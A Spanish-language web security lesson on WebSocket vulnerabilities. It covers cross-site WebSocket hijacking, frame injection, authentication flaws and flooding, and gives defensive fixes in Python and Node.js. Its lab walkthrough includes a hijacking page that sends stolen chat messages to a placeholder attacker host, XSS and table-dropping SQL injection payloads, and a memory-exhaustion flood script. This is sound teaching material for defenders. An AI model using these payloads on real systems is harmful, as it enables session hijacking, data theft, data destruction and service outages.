WebSockets: hijacking, Cross-Site WebSocket Hijacking, inyección y autenticación
· 10 min de lectura
WebSockets mantienen conexiones persistentes entre cliente y servidor. Sin validación de Origin, sin autenticación por mensaje y sin sanitización, abren vectores únicos: CSWSH, inyección, DoS y exfiltración en tiempo real.
HTTP fue diseñado como un protocolo de solicitud-respuesta: el cliente pide, el servidor contesta, la conexión se cierra. Cuando las aplicaciones necesitaron comunicación en tiempo real (chats, dashboards, juegos, feeds financieros), apareció WebSocket (RFC 6455): un protocolo que, tras un handshake HTTP inicial, mantiene un canal bidireccional persistente sobre TCP. El servidor puede enviar datos al cliente en cualquier momento sin que este los pida. Esa potencia viene con superficie de ataque propia que HTTP clásico no tiene.
Esta lección cubre los fallos de seguridad específicos de WebSocket: Cross-Site WebSocket Hijacking (CSWSH), inyección a través de frames, autenticación rota en el canal, DoS por inundación de frames y uso de WebSocket como túnel encubierto. Es la novena lección de la Tanda 9, dedicada a vectores web avanzados que las auditorías superficiales pasan por alto.
Practica solo contra servidores WebSocket en entornos autorizados o laboratorios. Interceptar tráfico WebSocket ajeno o secuestrar conexiones en producción es intrusión y delito.
Qué es WebSocket y cómo funciona#
WebSocket comienza con un Upgrade handshake HTTP. El cliente envía una petición GET con cabeceras especiales y el servidor responde con código 101 si acepta:

GET /ws/chat HTTP/1.1
Host: app.ejemplo.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://app.ejemplo.com
El servidor responde:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
A partir de ahí la conexión deja de ser HTTP: ambos extremos intercambian frames (texto, binarios, ping/pong, close) sin límite de tiempo. Las cookies de sesión se envían en el handshake inicial, igual que en cualquier petición HTTP, y esa es la raíz de los problemas que vienen.
La diferencia clave con HTTP: en WebSocket el servidor puede empujar datos sin petición previa, y la conexión se mantiene abierta durante minutos u horas. No hay cabeceras por mensaje, no hay CORS por frame, y muchas defensas HTTP clásicas no aplican.
Por qué ocurre: la causa raíz#
La mayoría de fallos en WebSocket vienen de tres causas:
- No validar Origin en el handshake: el servidor acepta conexiones WebSocket de cualquier origen. Como las cookies viajan automáticamente en el Upgrade, una página maliciosa puede abrir un WebSocket al servidor legítimo usando las cookies de la víctima.
- No autenticar el canal: la aplicación valida credenciales en el login HTTP pero el endpoint WebSocket no verifica tokens. Cualquiera que conozca la URL abre una conexión.
- No sanitizar mensajes: el servidor trata los frames WebSocket como input de confianza, sin pasar por los mismos filtros que las peticiones HTTP. Inyecciones que el WAF bloquearía en HTTP pasan limpias por WebSocket.
Tipos de ataques a WebSocket#
| Ataque | Vector | Impacto |
|---|---|---|
| CSWSH (Cross-Site WebSocket Hijacking) | Página maliciosa abre WS al servidor víctima con cookies de sesión | Lectura y escritura como el usuario autenticado |
| Inyección vía frames | Payload SQLi, XSS o command injection en mensajes WS | RCE, robo de datos, XSS persistente |
| Secuestro de conexión | Token en URL o sin autenticación en Upgrade | Suplantación de identidad |
| DoS por inundación | Frames enormes o conexiones masivas sin límite | Servidor caído o degradado |
| Túnel encubierto | WebSocket como canal para evadir firewall o proxy | Exfiltración de datos, C2 |
| Session fixation | Reutilización de sesión tras Upgrade sin renovación | Persistencia del atacante |
Dónde aparece#
- Chats y notificaciones en tiempo real (Slack, Discord, apps internas): canal WS permanente con datos sensibles.
- Dashboards financieros: precios en vivo por WebSocket; manipulación de frames puede alterar lo que el usuario ve.
- Aplicaciones IoT: dispositivos que reportan métricas por WebSocket a un backend cloud.
- Juegos multijugador: estado del juego sincronizado por WS; inyección puede dar ventaja o crashear la partida.
- APIs internas: microservicios que usan WebSocket para comunicación interna sin pasar por el API Gateway.
Cómo se detecta#
| Técnica | Herramienta | Qué buscar |
|---|---|---|
| Interceptar handshake | Burp Suite (pestaña WebSockets) | Cabecera Origin no validada, sin token en Upgrade |
| Enviar frames modificados | Burp Repeater WS, wscat | Inyecciones que el servidor procesa sin filtrar |
| Probar CSWSH | Página HTML propia con JS | La conexión WS se abre y recibe datos con cookies de otro dominio |
| Analizar tráfico | Wireshark (filtro websocket), ZAP WebSocket addon | Datos sensibles en texto plano (ws:// sin TLS) |
| Fuzzing de frames | websocat con scripts, wsfuzzer | Crash del servidor, respuestas inesperadas |
Herramientas clave:
- Burp Suite: soporte nativo para WebSocket desde 2020. Intercepta el handshake y cada frame.
- OWASP ZAP: addon WebSocket con fuzzer integrado.
- wscat: cliente WebSocket de línea de comandos (
npm install -g wscat). - websocat: alternativa a wscat escrita en Rust con más opciones (piping, proxy).
Explotación paso a paso en un laboratorio#
Escenario: una aplicación web con chat interno por WebSocket. El endpoint /ws/chat acepta conexiones sin validar Origin y envía los mensajes de todos los usuarios conectados.
Paso 1: identificar el endpoint WebSocket#
# Interceptar con Burp o buscar en el código fuente del frontend
curl -s http://IP_DEL_LAB/ | grep -i "websocket\|\.ws\|new WebSocket"
# Output: var ws = new WebSocket("ws://IP_DEL_LAB/ws/chat");
Paso 2: conectar desde línea de comandos#
wscat -c ws://IP_DEL_LAB/ws/chat
# Connected
# > Hola
# < {"user":"guest","msg":"Hola"}
Si conecta sin credenciales, el endpoint no autentica.
Paso 3: probar CSWSH#
Crea una página HTML en tu máquina atacante:
<script>
var ws = new WebSocket("ws://IP_DEL_LAB/ws/chat");
ws.onmessage = function(e) {
// Enviar datos al atacante
fetch("http://IP_ATACANTE:8888/?data=" +
encodeURIComponent(e.data));
};
ws.onopen = function() {
ws.send('{"action":"history"}');
};
</script>
Si la víctima visita esta página y tiene sesión activa en la app, su navegador abre el WebSocket con sus cookies. El atacante recibe todos los mensajes del chat.
Paso 4: inyección a través del WebSocket#
wscat -c ws://IP_DEL_LAB/ws/chat
# Probar XSS
> {"msg":"<img src=x onerror=alert(1)>"}
# Si el servidor reenvía el mensaje sin sanitizar,
# todos los clientes conectados ejecutan el XSS
# Probar SQLi (si el servidor guarda mensajes en DB)
> {"msg":"test','');DROP TABLE messages;--"}
Paso 5: DoS por inundación#
# Enviar frames grandes repetidamente
python3 -c "
import websocket
ws = websocket.create_connection('ws://IP_DEL_LAB/ws/chat')
for i in range(1000):
ws.send('A' * 1048576) # 1 MB por frame
"
Sin límite de tamaño de frame ni rate limiting, el servidor se queda sin memoria.
Qué puede lograr un atacante#
| Escenario | Impacto | Gravedad |
|---|---|---|
| CSWSH en chat corporativo | Lee mensajes privados de la víctima en tiempo real | Crítico |
| XSS vía WebSocket | Ejecuta JavaScript en el navegador de todos los usuarios conectados | Crítico |
| SQLi vía frame | Extrae datos de la base de datos del backend | Crítico |
| DoS por frames | Servidor fuera de servicio para todos los usuarios | Alto |
| Túnel WS como C2 | Canal encubierto que el firewall no inspecciona | Alto |
| Enumeración sin auth | Lista usuarios, canales o datos internos sin credenciales | Medio |
Cómo se corrige#

Validar Origin en el handshake#
# Python (websockets library)
async def handler(websocket, path):
origin = websocket.origin
allowed = ["https://app.ejemplo.com"]
if origin not in allowed:
await websocket.close(1008, "Origin no permitido")
return
// Node.js (ws library)
const wss = new WebSocket.Server({ server });
wss.on('headers', (headers, req) => {
const origin = req.headers.origin;
if (origin !== 'https://app.ejemplo.com') {
req.destroy();
}
});
Autenticar en el Upgrade#
// Verificar token en el handshake, no solo cookies
wss.on('connection', (ws, req) => {
const token = new URL(req.url, 'http://localhost')
.searchParams.get('token');
// Mejor: token en cabecera Sec-WebSocket-Protocol
// o en el primer mensaje tras conectar
if (!verifyJWT(token)) {
ws.close(1008, 'No autorizado');
return;
}
});
Sanitizar cada mensaje#
ws.on('message', (data) => {
const parsed = JSON.parse(data);
// Escapar HTML, validar tipo, largo y formato
parsed.msg = escapeHtml(parsed.msg);
if (parsed.msg.length > 500) {
ws.close(1009, 'Mensaje demasiado largo');
return;
}
broadcast(parsed);
});
Otras defensas#
- Usar wss:// (TLS): equivalente a HTTPS. Sin TLS, los frames viajan en texto plano.
- Rate limiting por conexión: máximo de mensajes por segundo y tamaño de frame.
- Timeouts: cerrar conexiones inactivas después de N minutos.
- Per-message authentication: en operaciones sensibles, pedir token dentro del frame, no solo en el handshake.
- Logging: registrar conexiones WS con IP, Origin y usuario para detección de anomalías.
Errores comunes al defenderse#
- Validar Origin con
startsWithen vez de comparación exacta (bypass conapp.ejemplo.com.atacante.com). - Confiar en que el WAF inspecciona tráfico WebSocket (muchos WAFs solo inspeccionan el handshake HTTP, no los frames posteriores).
- Poner el token en la URL del WebSocket (
ws://api/ws?token=SECRET) donde aparece en logs del servidor, historial del navegador y cabecera Referer. - No implementar heartbeat/timeout y dejar conexiones zombi que consumen recursos.
- Asumir que WebSocket es «interno» porque no se documenta en la API pública (el endpoint está en el JavaScript del frontend, visible para cualquiera).
- Sanitizar solo en el frontend: el atacante usa wscat directamente contra el servidor y envía frames arbitrarios.
- Olvidar limitar el tamaño máximo de frame: un atacante envía un frame de varios gigabytes y agota la memoria del proceso.
Preguntas frecuentes#
CSWSH es lo mismo que CSRF#
Es el equivalente para WebSocket. En CSRF clásico, la página maliciosa envía un formulario POST con las cookies de la víctima. En CSWSH, la página maliciosa abre un WebSocket con las cookies de la víctima. La defensa en CSRF es un token anti-CSRF; en CSWSH es validar la cabecera Origin en el handshake.
Burp Suite intercepta WebSocket#
Sí. Desde Burp Suite 2020 hay soporte nativo: las conexiones WebSocket aparecen en la pestaña WebSockets del Proxy. Puedes ver cada frame, modificarlo con Repeater y hacer fuzzing. ZAP también tiene addon específico.
WebSocket funciona a través de proxies corporativos#
Depende. Los proxies HTTP que no entienden Upgrade cortan la conexión. Muchos proxies corporativos bloquean ws:// pero permiten wss:// (porque no pueden inspeccionar el tráfico cifrado). Esto convierte a wss:// en un canal perfecto para tunneling. Herramientas como wstunnel encapsulan tráfico TCP arbitrario en frames WebSocket cifrados.
Socket.IO es WebSocket#
Socket.IO usa WebSocket como transporte por defecto, pero añade su propia capa de protocolo (eventos, rooms, namespaces). Los fallos de autenticación en Socket.IO son los mismos: si no verificas credenciales en el evento connection, cualquiera se conecta. Además, Socket.IO hace polling HTTP como fallback, así que debes proteger ambos canales.
Se puede usar CORS para proteger WebSocket#
No directamente. CORS aplica a peticiones HTTP (XMLHttpRequest, fetch). El handshake WebSocket no pasa por CORS: el navegador envía la cabecera Origin pero el servidor debe validarla manualmente. Si no lo hace, cualquier origen conecta.
Qué diferencia hay entre ws:// y wss://#
La misma que entre http:// y https://. wss:// usa TLS: el tráfico va cifrado, protege contra interceptación en red. Sin wss://, los frames viajan en texto plano y cualquier nodo intermedio puede leerlos o modificarlos. En producción siempre wss://.
Resumen#
- WebSocket mantiene una conexión bidireccional persistente tras un handshake HTTP Upgrade; no hay CORS ni cabeceras por frame.
- CSWSH es el CSRF de WebSocket: una página maliciosa abre WS al servidor víctima con las cookies de sesión del navegador.
- Las inyecciones vía frames (XSS, SQLi, command injection) pasan si el servidor no sanitiza input WebSocket con el mismo rigor que HTTP.
- Defensa: validar Origin exacto en el handshake, autenticar con token (no en URL), usar wss://, rate limiting, sanitización y timeouts.
- Muchos WAFs no inspeccionan frames WebSocket: la auditoría manual con Burp/ZAP es esencial.
- El laboratorio in-the-house de whoami-labs practica el acceso a servicios internos no expuestos, análogo al pivoting que WebSocket habilita.